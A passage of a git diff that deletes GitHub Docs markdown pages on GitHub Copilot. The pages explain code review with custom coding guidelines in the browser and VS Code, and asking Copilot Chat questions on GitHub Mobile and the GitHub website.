save the code sample. - 1. Test the coding guideline against your sample by pressing **{% octicon "play" aria-hidden="true" %} Run**. - -1. Save your coding guideline, and turn it on, by clicking **Save guideline**. - -## Running a review with coding guidelines - -When you request a review from {% data variables.product.prodname_copilot_short %}, it will automatically use the repository's enabled coding guidelines to review your code. For more information, see [AUTOTITLE](/copilot/using-github-copilot/code-review/using-copilot-code-review). - -Comments generated based on a coding guideline will include a message, highlighting their source. - -## Coding guidelines examples - -### Example 1: Avoid using magic numbers - -**Title:** <code>Avoid using magic numbers</code> - -**Description:** <code>Don't use magic numbers in code. Numbers should be defined as constants or variables with meaningful names.</code> - -**Path patterns:** `**/*.py` - -### Example 2: Don't use `SELECT *` in SQL queries - -**Title:** <code>Don't use `SELECT \*` in SQL queries</code> - -**Description:** <code>Don't use `SELECT \*` in SQL queries. Always specify the columns you want to select. `COUNT(\*)` is allowed.</code> - -**Path patterns:** None (applies to all file types, as SQL queries may be embedded in code). - -### Example 3: Use `fetch` for HTTP requests - -**Title:** <code>Use `fetch` for HTTP requests</code> - -**Description:** <code>Use `fetch` for HTTP requests, not `axios` or `superagent` or other libraries.</code> - -**Path patterns:** `**/*.ts`, `**/*.js`, `**/*.jsx`, `**/*.tsx` - -### Example 4: Always tag metrics with the current environment - -**Title:** <code>Always tag metrics with the current environment</code> - -**Description:** <code>Always include a `env` tag with the current environment when emitting metrics, for example, `env:prod` or `env:dev`.</code> - -**Path patterns:** `*/*.go`, `*/*.java` diff --git a/content/copilot/using-github-copilot/code-review/index.md b/content/copilot/using-github-copilot/code-review/index.md deleted file mode 100644 index 87c589148ae0..000000000000 --- a/content/copilot/using-github-copilot/code-review/index.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Code review -shortTitle: Code review -intro: "Learn how to request a code review from {% data variables.product.prodname_copilot %}." -versions: - feature: copilot -topics: - - Copilot -children: - - /using-copilot-code-review - - /configuring-coding-guidelines - - /configuring-automatic-code-review-by-copilot ---- diff --git a/content/copilot/using-github-copilot/code-review/using-copilot-code-review.md b/content/copilot/using-github-copilot/code-review/using-copilot-code-review.md deleted file mode 100644 index a2a48cc55d0e..000000000000 --- a/content/copilot/using-github-copilot/code-review/using-copilot-code-review.md +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Using GitHub Copilot code review -shortTitle: Using code review -intro: "Learn how to request a code review from {% data variables.product.prodname_copilot %}." -allowTitleToDifferFromFilename: true -product: 'See the table below.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /early-access/copilot/code-review/using-copilot-code-review - - /early-access/copilot/code-reviews/using-copilot-code-review - - /early-access/copilot/code-reviews/using-copilot-code-reviews ---- - ->[!NOTE] -> {% data reusables.copilot.code-review.preview-note %} - -## Receiving access - -{% webui %} - -If you get a {% data variables.product.prodname_copilot_short %} subscription from an organization, you will only be able to participate in the {% data variables.release-phases.public_preview %} on the {% data variables.product.github %} website if an owner of your organization has enabled **{% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_dotcom_the_website %} > Opt in to preview features** in the organization policies. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#enabling-copilot-features-in-your-organization). - -{% endwebui %} - -{% vscode %} - -If you get a {% data variables.product.prodname_copilot_short %} subscription from an organization, you will only be able to participate in the {% data variables.release-phases.public_preview %} in {% data variables.product.prodname_vscode_shortname %} if an owner of your organization has enabled **Editor preview features** in the organization policies. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-policies-for-copilot-in-your-organization#enabling-copilot-features-in-your-organization). - -{% endvscode %} - -If an enterprise owner has explicitly enabled or disabled preview features, organizations in the enterprise will not be able to change the policy. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -## About {% data variables.copilot.copilot_code-review_short %} - -{% data variables.product.prodname_copilot %} can review your code and provide feedback. Where possible, {% data variables.product.prodname_copilot_short %}'s feedback includes suggested changes which you can apply with a couple of clicks. - -{% data variables.copilot.copilot_code-review_short %} supports two types of review: - -* **Review selection:** Highlight code and ask for an initial review _({% data variables.product.prodname_vscode %} only)_ -* **Review changes:** Request a deeper review of all your changes _({% data variables.product.github %} website and {% data variables.product.prodname_vscode %})_ - -The current functionality and availability of the two types of review is summarized in the following table: - -{% rowheaders %} - -| Feature | Review selection | Review changes | -| --------- | ----------------- | --------------- | -| Environment | {% data variables.product.prodname_vscode %} | {% data variables.product.prodname_vscode %} and the {% data variables.product.github %} website | -| Description | Initial review of a highlighted section of code with feedback and suggestions | Deeper review of all changes | -| Language support | All | C#, Go, Java, JavaScript, Markdown, Python, Ruby, TypeScript | -| Custom coding guidelines support | No | Yes, see [Customizing {% data variables.product.prodname_copilot_short %}'s reviews with coding guidelines](#customizing-copilots-reviews-with-coding-guidelines) | -| Availability | {% data variables.release-phases.public_preview_caps %}, available to all {% data variables.product.prodname_copilot_short %} subscribers | {% data variables.release-phases.public_preview_caps %}, available with {% data variables.product.prodname_copilot_pro_short %}, {% data variables.product.prodname_copilot_business_short %}, and {% data variables.product.prodname_copilot_enterprise_short %} subscriptions. | - -{% endrowheaders %} - -> [!WARNING] {% data variables.product.prodname_copilot_short %} isn't guaranteed to spot all problems or issues in a pull request, and sometimes it will make mistakes. Always validate {% data variables.product.prodname_copilot_short %}'s feedback carefully, and supplement {% data variables.product.prodname_copilot_short %}'s feedback with a human review. - -For more information, see [AUTOTITLE](/copilot/responsible-use-of-github-copilot-features/responsible-use-of-github-copilot-code-review). - -## Requesting a review from {% data variables.product.prodname_copilot_short %} - -{% webui %} - -These instructions explain how to use {% data variables.copilot.copilot_code-review_short %} in the {% data variables.product.github %} website. To see instructions for {% data variables.product.prodname_vscode %}, use the "{% data variables.product.prodname_vscode %}" tool switcher at the top of the page. - -### Requesting a pull request review from {% data variables.product.prodname_copilot_short %} - -1. On {% data variables.product.prodname_dotcom_the_website %}, create a pull request or navigate to an existing pull request. -1. Open the **Reviewers** menu, then select **{% data variables.product.prodname_copilot_short %}**. - - ![Screenshot of selecting '{% data variables.product.prodname_copilot_short %}' from the 'Reviewers' menu.](/assets/images/help/copilot/code-review/request-review@2x.png) - -1. Wait for {% data variables.product.prodname_copilot_short %} to review your pull request. This usually takes less than 30 seconds. - -1. Scroll down and read through {% data variables.product.prodname_copilot_short %}'s comments. - - ![Screenshot of a code review left by {% data variables.product.prodname_copilot_short %}.](/assets/images/help/copilot/code-review/review-comment@2x.png) - - {% data variables.product.prodname_copilot_short %} always leaves a "Comment" review, not an "Approve" review or a "Request changes" review. This means that {% data variables.product.prodname_copilot_short %}'s reviews do not count toward required reviews for the pull request, and {% data variables.product.prodname_copilot_short %}'s reviews will not block merging changes. For more details, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews). - -1. {% data variables.product.prodname_copilot_short %}'s review comments behave like review comments from humans. You can add reactions to them, comment on them, resolve them and hide them. - - Any comments you add to {% data variables.product.prodname_copilot_short %}'s review comments will be visible to humans, but they won't be visible to {% data variables.product.prodname_copilot_short %}, and {% data variables.product.prodname_copilot_short %} won't reply. - -## Working with suggested changes provided by {% data variables.product.prodname_copilot_short %} - -Where possible, {% data variables.product.prodname_copilot_short %}'s feedback includes suggested changes which you can apply with a couple of clicks. - -If you're happy with the changes, you can accept a single suggestion from {% data variables.product.prodname_copilot_short %} and commit it, or accept a group of suggestions together in a single commit. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request). - -If you want to validate {% data variables.product.prodname_copilot_short %}'s suggested changes (for example by running automated tests or your linter), or if you want to make modifications before committing the suggested changes, click the **Open in Workspace** button. For more information, see [AUTOTITLE](/copilot/using-github-copilot/using-github-copilot-for-pull-requests/using-copilot-to-help-you-work-on-a-pull-request). - -## Providing feedback on {% data variables.product.prodname_copilot_short %}'s reviews - -You can provide feedback on {% data variables.product.prodname_copilot_short %}'s comments directly within each comment. We use this information to improve the product and the quality of {% data variables.product.prodname_copilot_short %}'s suggestions. - -1. On a pull request review comment from {% data variables.product.prodname_copilot_short %}, click the thumbs up (:+1:) or thumbs down (:-1:) button. - - ![Screenshot showing a {% data variables.copilot.copilot_code-review_short %} comment with the thumbs up and thumbs down buttons.](/assets/images/help/copilot/code-review/feedback-controls@2x.png) - -1. If you click the thumbs down button, you're asked to provide additional information. You can, optionally, pick the reason for your negative feedback and leave a comment before clicking **Submit feedback**. - - ![Screenshot of the form for providing additional information when you give negative feedback on a comment from {% data variables.product.prodname_copilot_short %}.](/assets/images/help/copilot/code-review/feedback-modal@2x.png) - -## Requesting a re-review from {% data variables.product.prodname_copilot_short %} - -When you push changes to a pull request that {% data variables.product.prodname_copilot_short %} has reviewed, it won't automatically re-review your changes. - -To request a re-review from {% data variables.product.prodname_copilot_short %}, click the {% octicon "sync" aria-label="Re-request review" %} button next to {% data variables.product.prodname_copilot_short %}'s name in the **Reviewers** menu. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review). - -> [!NOTE] When re-reviewing a pull request, {% data variables.product.prodname_copilot_short %} may repeat the same comments again, even if they have been dismissed with the "Resolve conversation" button or downvoted with the thumbs down (:-1:) button. - -## Enabling automatic reviews - -By default, you manually request a review from {% data variables.product.prodname_copilot_short %} on each pull request, in the same way you would request a review from a human. However, you can set up {% data variables.product.prodname_copilot_short %} to automatically review all pull requests in a repository, or for all repositories in an organization. See [AUTOTITLE](/copilot/using-github-copilot/code-review/configuring-automatic-code-review-by-copilot). - -## Customizing {% data variables.product.prodname_copilot_short %}'s reviews with coding guidelines - -{% data reusables.copilot.code-review.custom-coding-guidelines %} - -{% endwebui %} - -{% vscode %} - -These instructions explain how to use {% data variables.copilot.copilot_code-review_short %} in {% data variables.product.prodname_vscode %}. To see instructions for the {% data variables.product.github %} website, use the "Web browser" tool switcher at the top of the page. - -> [!NOTE] {% data variables.copilot.copilot_code-review_short %} is only available in {% data variables.product.prodname_vscode %} with version 0.22 or later of the {% data variables.product.prodname_copilot_chat %} extension. - -### Reviewing a selection of code - -You can request an initial review of a highlighted selection of code in {% data variables.product.prodname_vscode %}. - -1. In {% data variables.product.prodname_vscode %}, select the code you want to review. -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} - * For Mac: - * Use: <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> - * For Windows or Linux: - * Use <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> -1. In the command palette, search for and select **{% data variables.product.prodname_copilot %}: Review and Comment**. - - ![Screenshot of the command palette in {% data variables.product.prodname_vscode %} with the **{% data variables.product.prodname_copilot %}: Review and Comment** command selected.](/assets/images/help/copilot/vsc-review-and-comment.png) - -1. Wait for {% data variables.product.prodname_copilot_short %} to review your changes. This usually takes less than 30 seconds. - - ![Screenshot of the progress indicator when {% data variables.product.prodname_copilot_short %} is performing a review in {% data variables.product.prodname_vscode %}.](/assets/images/help/copilot/code-review/vscode-review-progress@2x.png) - -1. If {% data variables.product.prodname_copilot_short %} has any comments, they will be shown inline in your file, and in the **Problems** tab. - - ![Screenshot of a comment from {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %}.](/assets/images/help/copilot/code-review/vscode-comment@2x.png) - -### Reviewing changes - -You can request a review for your staged or unstaged changes in {% data variables.product.prodname_vscode %}. - -1. In {% data variables.product.prodname_vscode_shortname %}, switch to the **Source Control** tab. -1. To request a review on your unstaged changes, hover over **Changes** in the sidebar, and then click the {% data reusables.copilot.code-review.staging-icon-vscode %} **{% data variables.copilot.copilot_code-review_short %} - Changes** button. - - ![Screenshot of the "{% data variables.copilot.copilot_code-review_short %} - Changes" button in {% data variables.product.prodname_vscode %}. The code review button is outlined in dark orange.](/assets/images/help/copilot/code-review/vscode-review-button@2x.png) - -1. To request a review on your staged changes, hover over **Staged Changes** in the sidebar, and then click the {% data reusables.copilot.code-review.staging-icon-vscode %} **{% data variables.copilot.copilot_code-review_short %} - Staged Changes** button. - -1. Wait for {% data variables.product.prodname_copilot_short %} to review your changes. This usually takes less than 30 seconds. - - ![Screenshot of the progress indicator when {% data variables.product.prodname_copilot_short %} is performing a review in {% data variables.product.prodname_vscode %}.](/assets/images/help/copilot/code-review/vscode-review-progress@2x.png) - -1. If {% data variables.product.prodname_copilot_short %} has any comments, they will be shown inline in your file(s), and in the **Problems** tab. - - ![Screenshot of a comment from {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %}.](/assets/images/help/copilot/code-review/vscode-comment@2x.png) - -## Working with suggested changes provided by {% data variables.product.prodname_copilot_short %} - -Where possible, {% data variables.product.prodname_copilot_short %}'s feedback includes suggested changes which you can apply with a single click. - -![Screenshot of a comment from {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %} with a suggested change.](/assets/images/help/copilot/code-review/vscode-comment@2x.png) - -If you're happy with the change, you can accept a suggestion from {% data variables.product.prodname_copilot_short %} by clicking the **Apply and Go To Next** button. Any changes you apply will not be automatically committed. - -If you don't want to apply {% data variables.product.prodname_copilot_short %}'s suggested change, click the **Discard and Go to Next** button. - -## Providing feedback on {% data variables.product.prodname_copilot_short %}'s reviews - -You can provide feedback on {% data variables.product.prodname_copilot_short %}'s comments directly within each comment. We use this information to improve the product and the quality of {% data variables.product.prodname_copilot_short %}'s suggestions. - -To provide feedback, hover over the comment and click the thumbs up or thumbs down button. - -![Screenshot of a comment from {% data variables.product.prodname_copilot_short %} in {% data variables.product.prodname_vscode %} with feedback buttons displayed. The buttons are outlined in dark orange.](/assets/images/help/copilot/code-review/vscode-comment-feedback@2x.png) - -## Customizing {% data variables.product.prodname_copilot_short %}'s reviews with coding guidelines - -{% data reusables.copilot.code-review.custom-coding-guidelines %} - -{% endvscode %} diff --git a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github-mobile.md b/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github-mobile.md deleted file mode 100644 index c7b4fe6c26c5..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github-mobile.md +++ /dev/null @@ -1,195 +0,0 @@ ---- -title: Asking GitHub Copilot questions in GitHub Mobile -intro: 'You can use {% data variables.product.prodname_copilot_mobile %} to answer general questions about software development, or specific questions about the code in a repository{% ifversion ghec %}. With {% data variables.product.prodname_copilot_enterprise_short %} you can also ask specific questions about a pull request, issue, or discussion{% endif %}.' -topics: - - Copilot - - Mobile -versions: - feature: copilot-chat-for-mobile -shortTitle: Chat in Mobile -redirect_from: - - /copilot/github-copilot-chat/using-github-copilot-chat-in-github-mobile - - /copilot/github-copilot-chat/copilot-chat-in-github-mobile/using-github-copilot-chat-in-github-mobile - - /copilot/github-copilot-chat/copilot-chat-in-github-mobile - - /copilot/using-github-copilot/asking-github-copilot-questions-in-github-mobile ---- - -## Overview - -{% data variables.product.prodname_copilot_chat %} is a chat interface that lets you ask and receive answers to coding-related questions in {% data variables.product.prodname_mobile %}. You can also use {% data variables.product.prodname_copilot_chat %} on either {% data variables.product.github %} or within a supported IDE. For information on using {% data variables.product.prodname_copilot_chat %} in an IDE, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-ides/using-github-copilot-chat-in-your-ide). - -{% data variables.product.prodname_copilot_mobile_short %} can help you with a variety of coding-related tasks, like offering you code suggestions, providing natural language descriptions of a piece of code's functionality and purpose, generating unit tests for your code, and proposing fixes for bugs in your code. For more information, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github-mobile/about-github-copilot-chat-in-github-mobile). - -In {% data variables.product.prodname_mobile %}, you can use {% data variables.product.prodname_copilot_chat_short %} to ask: - -* General software-related questions, without a particular context. For more information, see [Asking a general question about software development](#asking-a-general-question-about-software-development). -* Questions asked in the context of your project. For more information, see [Asking questions about a specific repository](#asking-exploratory-questions-about-a-repository). -* Questions about a specific file or specified lines of code within a file. For more information, see [Asking questions about specific pieces of code](#asking-questions-about-specific-pieces-of-code).{% ifversion ghec %} - -With {% data variables.product.prodname_copilot_enterprise_short %}, you can also ask: - -* Questions about a specific pull request. For more information, see [Asking questions about a specific pull request](#asking-questions-about-a-specific-pull-request). -* Questions about a specific issue. For more information, see [Asking questions about a specific issue](#asking-questions-about-a-specific-issue). -* Questions about a specific discussion. For more information, see [Asking questions about a specific discussion](#asking-questions-about-a-specific-discussion). -{% endif %} - -## Limitations - -The following limitations apply to {% data variables.product.prodname_copilot_mobile_short %}: - -* The quality of the results from {% data variables.product.prodname_copilot_chat_short %} may, in some situations, be degraded if very large files, or a large number of files, are used as a context for a question. - -## Prerequisites - -To use {% data variables.product.prodname_copilot_mobile_short %}, click the {% data variables.product.prodname_copilot_short %} icon in {% data variables.product.prodname_mobile %} to initiate a chat. If you don't already have an active {% data variables.product.prodname_copilot %} subscription, you will automatically get subscribed to {% data variables.product.prodname_copilot_free_short %}. - -If you are part of an organization{% ifversion ghec %} or enterprise{% endif %} with a {% data variables.product.prodname_copilot_for_business %}{% ifversion ghec %} or {% data variables.product.prodname_copilot_enterprise %}{% endif %} subscription, the organization{% ifversion ghec %} or enterprise{% endif %} owner may need to grant you access to {% data variables.product.prodname_copilot_mobile_short %}. For more information, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github-mobile/enabling-github-copilot-chat-for-github-mobile). - -## Asking a general question about software development - -You can ask a general question about software development{% ifversion ghec %} that is not focused on a particular context, such as a repository{% endif %}. - -{% data reusables.copilot.chat-mobile-start-chat %} -1. If the page displays a previous conversation you had with {% data variables.product.prodname_copilot_short %}, tap {% octicon "kebab-horizontal" %} in the top right corner of the screen, and then tap **New conversation {% octicon "plus" aria-hidden="true" %}**. -1. At the bottom of the page, in the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and send the message. - - Some examples of general questions you could ask are: - * What are the advantages of the Go programming language? - * What is Agile software development? - * What is the most popular JavaScript framework? - * Give me some examples of regular expressions. - * Write a bash script to output today's date. - -1. Within a conversation thread, you can ask follow-up questions. {% data variables.product.prodname_copilot_short %} will answer within the context of the conversation. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - - You can use your initial question as a foundation for follow-up questions. A detailed foundational prompt can help {% data variables.product.prodname_copilot_short %} provide more relevant answers to your follow-up questions. For more information, see [Prompting {% data variables.product.prodname_copilot_chat %} to become your personal AI assistant for accessibility](https://github.blog/2023-10-09-prompting-github-copilot-chat-to-become-your-personal-ai-assistant-for-accessibility/) on the {% data variables.product.prodname_dotcom %} Blog. - -{% data reusables.copilot.chat-mobile-conversation-buttons %} - -## Asking exploratory questions about a repository - -You can ask questions about a specific repository, to get help with understanding the code, or to get help with a specific task you're working on. - -1. In {% data variables.product.prodname_mobile %}, navigate to a repository, and tap the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon in the bottom right corner of the screen. -1. At the bottom of the page, use the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and send the message. - - For example, if you chose the repository you are working in as the context, you could ask: - - * What is the main purpose of this repo? What problem does it solve or what functionality does it provide? - * What web frameworks are used in this project? - * Where is rate limiting implemented in our API? - * How is the code organized? Explain the project architecture. - * Are there any specific environment requirements for working on this project? - - > [!IMPORTANT] - > {% data variables.product.prodname_copilot_short %}'s ability to answer natural language questions like these in a repository context is improved when the repository has been indexed for semantic code search. Without indexing, {% data variables.product.prodname_copilot_mobile_short %} may not be able to provide the most relevant answers to your questions. - > - > You can't trigger the creation of a semantic code search index for a repository from {% data variables.product.prodname_mobile %}. Instead you must use {% data variables.product.prodname_copilot_chat_short %} in a web browser. See [AUTOTITLE](/copilot/managing-copilot/managing-github-copilot-in-your-organization/managing-github-copilot-features-in-your-organization/indexing-repositories-for-copilot-chat). - -{% data reusables.copilot.chat-mobile-conversation-buttons %} - -## Asking questions about specific pieces of code - -You can chat with {% data variables.product.prodname_copilot_short %} about a file in your repository, or about specific lines of code within a file. - -1. In {% data variables.product.prodname_mobile %}, navigate to a repository and open a file. -1. Do one of the following: - * To ask a question about the entire file, tap the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) in the bottom right corner of the file view. - * To ask a question about specific lines within the file, select and copy the lines you want to ask about. Then tap the {% data variables.product.prodname_copilot_short %} icon ({% octicon "copilot" aria-hidden="true" %}) and paste the copied lines in the {% data variables.product.prodname_copilot_chat_short %} input field. - -1. Type a question in the "Ask {% data variables.product.prodname_copilot_short %}" box at the bottom of the chat panel and send the message. - - For example, if you are asking about the entire file, you could enter: - - * Explain this file. - * How could I improve this code? - * How can I test this script? - - If you are asking about specific lines, you could enter: - - * How could I improve this class? - * Add error handling to this code. - * Write a unit test for this method. - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - -1. You can continue the conversation by asking a follow-up question. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - -{% ifversion ghec %} - -## Asking questions about a specific pull request - -You can ask questions about a specific pull request in a repository. - -1. In {% data variables.product.prodname_mobile %}, navigate to a pull request in a repository, and tap the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon in the bottom right corner of the screen. -1. At the bottom of the page, use the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and send the message. - - For example, you could ask: - - * What is the purpose of this pull request? - * What changes are being made in this pull request? - * Are there any potential issues with this pull request? - * What is the status of this pull request? - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - -1. You can continue the conversation by asking a follow-up question. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - -## Asking questions about a specific issue - -You can ask questions about a specific issue in a repository. - -1. In {% data variables.product.prodname_mobile %}, navigate to an issue in a repository, and tap the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon in the bottom right corner of the screen. -1. At the bottom of the page, use the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and send the message. - - For example, you could ask: - - * What is the purpose of this issue? - * What is the status of this issue? - * What are the steps to reproduce this issue? - * Are there any potential solutions to this issue? - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - -1. You can continue the conversation by asking a follow-up question. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - -## Asking questions about a specific discussion - -You can ask questions about a specific discussion in a repository. - -1. In {% data variables.product.prodname_mobile %}, navigate to a discussion in a repository, and tap the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon in the bottom right corner of the screen. -1. At the bottom of the page, use the "Ask {% data variables.product.prodname_copilot_short %}" box, type a question and send the message. - - For example, you could ask: - - * What is the purpose of this discussion? - * What are the main points of this discussion? - * What are the next steps for this discussion? - * Are there any potential issues with this discussion? - - {% data variables.product.prodname_copilot_short %} responds to your request in the panel. - -1. You can continue the conversation by asking a follow-up question. For example, you could type "tell me more" to get {% data variables.product.prodname_copilot_short %} to expand on its last comment. - -{% endif %} - -## Extending {% data variables.product.prodname_copilot_chat_short %} in {% data variables.product.prodname_mobile %} - -{% data reusables.copilot.copilot-extensions.extending-copilot-chat %} - -## Hiding {% data variables.product.prodname_copilot_chat_short %} - -You can hide the floating {% data variables.product.prodname_copilot_short %} button in {% data variables.product.prodname_mobile %}. - -1. In the bottom menu, tap **Profile**. -1. To view your settings, tap {% octicon "gear" aria-label="The Gear icon" %}. -1. Tap **{% data variables.product.prodname_copilot_short %}**. -1. Next to "Hide {% data variables.product.prodname_copilot_short %}", use the toggle to hide {% data variables.product.prodname_copilot_short %}. - -## Sharing feedback about {% data variables.product.prodname_copilot_mobile %} - -To give feedback about a particular {% data variables.product.prodname_copilot_chat_short %} response: - -1. Tap the ellipsis (**...**) in the top right corner above the chat response you want to provide feedback on, and tap either **Like {% data variables.product.prodname_copilot_short %} response {% octicon "thumbsup" aria-label="The thumbs up icon" %}** or **Dislike {% data variables.product.prodname_copilot_short %} response {% octicon "thumbsdown" aria-label="The thumbs down icon" %}**, -1. Optionally, provide information about why you liked or disliked the response. -1. Tap **Submit**. diff --git a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github.md b/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github.md deleted file mode 100644 index a7a7e8cb8f16..000000000000 --- a/content/copilot/using-github-copilot/copilot-chat/asking-github-copilot-questions-in-github.md +++ /dev/null @@ -1,377 +0,0 @@ ---- -title: Asking GitHub Copilot questions in GitHub -shortTitle: Chat in GitHub -intro: 'You can use {% data variables.product.prodname_copilot_chat_dotcom %} to answer general questions about software development, or specific questions about the issues or code in a repository.' -versions: - feature: copilot -topics: - - Copilot -redirect_from: - - /copilot/github-copilot-enterprise/copilot-chat-in-github/using-github-copilot-chat-in-githubcom - - /copilot/github-copilot-chat/copilot-chat-in-github/using-github-copilot-chat-in-githubcom - - /copilot/github-copilot-chat/copilot-chat-in-github - - /copilot/using-github-copilot/asking-github-copilot-questions-in-githubcom - - /copilot/using-github-copilot/asking-github-copilot-questions-in-github ---- - -## Overview - -{% data variables.product.prodname_copilot_chat_dotcom %} is a chat interface that lets you ask and receive answers to coding-related questions on the {% data variables.product.github %} website. - -{% data variables.product.prodname_copilot_chat_short %} can help you with a variety of coding-related tasks, like offering you code suggestions, providing natural language descriptions of a piece of code's functionality and purpose, generating unit tests for your code, and proposing fixes for bugs in your code. For more information, see [AUTOTITLE](/copilot/github-copilot-chat/copilot-chat-in-github/about-github-copilot-chat-in-githubcom). - -On {% data variables.product.github %}, you can use {% data variables.product.prodname_copilot_chat_short %} to ask different questions in different contexts. For example, you can ask about a specific repository, a specific issue, or a specific pull request. You can also ask general questions about software development, or about a specific programming language. - -### Limitations - -The quality of the results from {% data variables.product.prodname_copilot_chat_short %} may, in some situations, be degraded if very large files, or a large number of files, are used as a context for a question. - -### Viewing and editing generated files within {% data variables.product.prodname_copilot_chat_short %} - -> [!NOTE] -> This feature is currently in {% data variables.release-phases.public_preview %} and subject to change. - -When you ask a question, {% data variables.product.prodname_copilot_short %} may generate one or more files as part of its response. In the {% data variables.product.prodname_copilot_chat_short %} panel, the files are displayed inline, within the chat response. In immersive view (that is, at [https://github.com/copilot](https://github.com/copilot)), the generated files are displayed in a side panel. You can view and edit the files in the panel, or download them to your computer. - -For example, asking `Generate a simple calculator using HTML, CSS, and JavaScript` may generate multiple files, such as `index.html`, `styles.css`, and `script.js`. - -In immersive view, you can also preview how some file formats, such as Markdown, render by toggling to the "Preview" tab in the side panel. - -## Powered by skills - -When using the GPT-4o and {% data variables.copilot.copilot_claude_sonnet %} models, {% data variables.product.prodname_copilot_short %} has access to a collection of skills to fetch data from {% data variables.product.github %}, which are dynamically selected based on the question you ask. You can tell which skill {% data variables.product.prodname_copilot_short %} used by clicking {% octicon "chevron-down" aria-label="the down arrow" %} to expand the status information in the chat window. - -![Screenshot of the {% data variables.product.prodname_copilot_short %} chat panel with the status information expanded and the skill that was used highlighted with an orange outline.](/assets/images/help/copilot/chat-show-skill.png) - -You can explicitly ask {% data variables.product.prodname_copilot_chat_dotcom %} to use a particular skill - for example, `Use the Bing skill to find the latest GPT4 model from OpenAI`. - -You can generate a list of currently available skills by asking {% data variables.product.prodname_copilot_short %}: `What skills are available?` - -## Customizing {% data variables.product.prodname_copilot_chat_short %} responses - -{% data variables.product.prodname_copilot %} can provide chat responses that are tailored to the way your team works, the tools you use, the specifics of your project, or your personal preferences, if you provide it with enough context to do so. Instead of repeating instructions in each prompt, you can create and save instructions for {% data variables.product.prodname_copilot_chat_short %} to customize what responses you receive. - -There are two types of custom instructions you can add for {% data variables.product.prodname_copilot_chat_short %}: -* Repository instructions: You can create a custom instructions file for a repository, so that all prompts asked in the context of the repository automatically include the instructions you've defined -* Personal instructions: You can add personal instructions so that all the chat responses you, as a user, receive are tailored to your preferences - -For more information, see [AUTOTITLE](/copilot/customizing-copilot/adding-repository-custom-instructions-for-github-copilot) and [AUTOTITLE](/copilot/customizing-copilot/adding-personal-custom-instructions-for-github-copilot). - -## AI models for {% data variables.product.prodname_copilot_chat_short %} - -{% data reusables.copilot.change-the-ai-model %} - -## Submitting a question to {% data variables.product.prodname_copilot_chat_short %} - -You can open {% data variables.product.prodname_copilot_chat_short %} from any page on {% data variables.product.github %}. Certain questions may require you to be in a specific context, such as a repository, issue, or pull request. The following procedure describes how to ask a general software related question, and demonstrates the core functionality of {% data variables.product.prodname_copilot_chat_short %} on {% data variables.product.github %}. For more information on other scenarios, see [Asking {% data variables.product.prodname_copilot_chat_short %} questions in different contexts](/copilot/using-github-copilot/asking-github-copilot-questions-in-github#asking-copilot-chat-questions-in-different-contexts). - -Depending on the question you ask, and your enterprise and organization settings, {% data variables.product.prodname_copilot_short %} may respond using information based on the results of a Bing search. By using Bing search, {% data variables.product.prodname_copilot_short %} can answer a broad range of tech-related questions with up-to-date details based on information currently available on the internet. For information on how to enable or disable Bing search integration, see [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/managing-copilot-policies-as-an-individual-subscriber#enabling-or-disabling-web-search-for-github-copilot-chat) and [AUTOTITLE](/copilot/managing-copilot/managing-copilot-for-your-enterprise/managing-policies-and-features-for-copilot-in-your-enterprise). - -1. At the top right of any page on {% data variables.product.github %}, click {% octicon "triangle-down" aria-label="The downwards triangle icon" %} beside the **{% octicon "copilot" aria-hidden="true" %}** icon and click **Immersive** in the dropdown menu. - - ![Screenshot of the 'Immersive' button, highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-immersive-button.png) - -1. At the bottom of the page, in the "Ask {% data 